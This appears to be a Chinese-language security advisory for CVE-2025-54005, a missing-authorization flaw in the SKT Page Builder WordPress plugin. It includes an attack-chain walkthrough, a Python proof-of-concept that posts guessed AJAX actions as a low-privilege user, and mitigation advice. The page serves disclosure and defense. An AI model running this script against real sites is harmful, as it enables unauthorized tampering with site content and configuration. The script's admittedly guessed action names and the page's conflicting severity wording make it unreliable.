IPBUF安全漏洞报告
English
CVE-2025-54005 CVSS 4.3 中危

CVE-2025-54005 SKT Page Builder 缺失授权访问控制漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-54005
漏洞类型
访问控制/授权缺失
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SKT Page Builder (WordPress Plugin)

相关标签

CVE-2025-54005Missing AuthorizationBroken Access ControlSKT Page BuilderWordPress PluginAccess ControlPrivilege EscalationCVSS 4.3Medium SeverityPatchstack

漏洞概述

CVE-2025-54005是WordPress插件SKT Page Builder中的一个高危安全漏洞,CVSS评分4.3,属于中等严重程度。该漏洞类型为"缺失授权"(Missing Authorization),存在于插件的访问控制机制中。由于插件对某些敏感功能的访问权限验证不充分,低权限用户(如订阅者角色)可能执行本应需要更高级别权限的操作。攻击者可利用此漏洞绕过正常的权限检查,执行未授权的功能操作,包括修改页面内容、访问管理功能等。这种访问控制配置错误可能导致网站内容被篡改、数据泄露或进一步的横向移动攻击。漏洞影响SKT Page Builder版本从任意版本到4.9(含),已被Patchstack安全团队发现并报告。

技术细节

SKT Page Builder插件的访问控制漏洞源于其对AJAX端点和敏感函数的权限验证不足。攻击者可以通过构造特定的HTTP请求,直接调用插件中需要管理员权限才能执行的功能函数。具体来说,插件的部分AJAX动作(wp_ajax_*)缺少current_user_can()或适当的角色能力检查,导致任何已认证用户(包括低权限订阅者)都能触发这些操作。攻击者通常需要先在目标WordPress站点注册一个低权限账户,然后利用该账户发送包含插件特定动作的POST请求到wp-admin/admin-ajax.php端点。由于缺少权限验证,服务器会执行请求的操作并返回结果。常见的利用场景包括:通过构造请求修改页面布局、导出敏感配置或触发其他管理功能。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者访问目标WordPress站点,确认安装了SKT Page Builder插件(版本<=4.9),并识别可用的用户账户类型
STEP 2
步骤2
账户创建:攻击者在目标站点注册一个低权限账户(如订阅者角色),或利用已有的低权限账户登录
STEP 3
步骤3
请求构造:攻击者分析插件的AJAX端点(wp-admin/admin-ajax.php),识别缺少权限验证的插件特定动作
STEP 4
步骤4
漏洞利用:攻击者构造恶意的HTTP POST请求,携带低权限账户的认证Cookie,发送到存在漏洞的AJAX端点
STEP 5
步骤5
权限绕过:服务器接收到请求后,由于缺少current_user_can()检查或nonce验证,直接执行请求的操作
STEP 6
步骤6
数据篡改/窃取:攻击者成功执行高权限操作,可修改页面内容、导出配置、删除元素或获取敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-54005 PoC - SKT Page Builder Broken Access Control # Author: Security Researcher # Target: WordPress with SKT Page Builder Plugin <= 4.9 import requests import sys def exploit_skt_builder(target_url, username, password): """ Exploits Missing Authorization vulnerability in SKT Page Builder Requires only low-privilege authenticated user account """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in as {username}...") resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Exploit the broken access control # Identify vulnerable AJAX action - common pattern in SKT Page Builder ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Try common vulnerable actions (specific action depends on plugin version) vulnerable_actions = [ 'skt_builder_save_layout', 'skt_builder_export_config', 'skt_builder_import_template', 'skt_builder_delete_element', 'skt_builder_update_options' ] print("[*] Testing vulnerable AJAX actions...") for action in vulnerable_actions: exploit_data = { 'action': action, 'security': 'any_value', # Often missing nonce check # Additional parameters depend on specific vulnerability } try: resp = session.post(ajax_url, data=exploit_data, timeout=10) if resp.status_code == 200 and 'error' not in resp.text.lower(): print(f"[+] Action '{action}' may be vulnerable!") print(f"[+] Response: {resp.text[:200]}") except Exception as e: print(f"[-] Error testing {action}: {e}") return True if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve_2025_54005.py <target_url> <username> <password>") print("Example: python cve_2025_54005.py http://target.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_skt_builder(target, user, pwd)

影响范围

SKT Page Builder <= 4.9 (所有版本)

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时缓解措施:1)限制用户注册功能,禁止普通用户注册;2)删除或禁用不必要的管理员账户;3)使用Web应用防火墙(WAF)规则限制对admin-ajax.php的异常访问;4)监控wp-admin/admin-ajax.php的访问日志,查找异常的权限提升行为;5)临时禁用SKT Page Builder插件直至更新完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表